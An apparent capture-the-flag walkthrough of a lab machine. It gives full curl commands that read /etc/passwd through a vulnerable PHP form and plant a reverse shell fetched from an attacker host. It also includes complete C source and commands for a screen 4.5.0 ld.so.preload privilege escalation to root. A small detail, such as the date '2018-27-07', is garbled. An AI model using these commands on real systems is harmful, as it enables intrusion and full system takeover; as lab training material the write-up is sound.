NETWORK

ENUMERATION

Website

Scans

Exposed

We have found an interesting file on the server

Looks like we are able to call our own server from the machine

Looks like the application is running curl

Using the following curl command, we can read the /etc/passwd

curl -X POST -d "formurl=file:///etc/passwd&submit=Go" -H "Content-Type: application/x-www-form-urlencoded" http://10.10.10.24/exposed.php --silent

Strpos() bypass

curl -X POST -d "formurl=file:///var/www/html/exposed.php&submit=Go" -H "Content-Type: application/x-www-form-urlencoded" http://10.10.10.24/exposed.php --silent

A research led us to a bug in strpos function, a bug called Bypass Strpos Verification, one of latest bugs in PHP submitted at 2018-27-07. We could bypass strpos() by double encoding the payload. Unfortunately, we were not able to eliminate the character “%” from our payloads and this character is part of the disallowed characters list.

FOOTHOLD

Writing a file

Using curl, we are able to write files.

Let’s write a reverse shell into the server with the following command

curl -X POST -d "formurl=http://10.10.16.9/php_reverse.php -o /var/www/html/uploads/index.php&submit=Go" -H "Content-Type: application/x-www-form-urlencoded" http://10.10.10.24/exposed.php --silent

We can then call our reverse shell with the following command

curl http://10.10.16.9/uploads/index.php --silent

PRIV ESCALATION

Looking into the SUID, we have noticed the binary screen

looking into exploit-db we have found a way to escalate our privileges using screen

First, we create our shell and library…

cat << EOF > libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so libhax.c
rm -f libhax.c

cat << EOF > rootshell.c 
#include <stdio.h>
int main(void){       
    setuid(0);     
    setgid(0);                   
    seteuid(0);      
    setegid(0);                   
    execvp("/bin/sh", NULL, NULL); 
}                                
EOF  

Then we upload our files onto the server

Now we create our /etc/ld.so.preload file…

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"

screen-4.5.0 -ls

The rootshell is now SUID:

We can get a root shell using this binary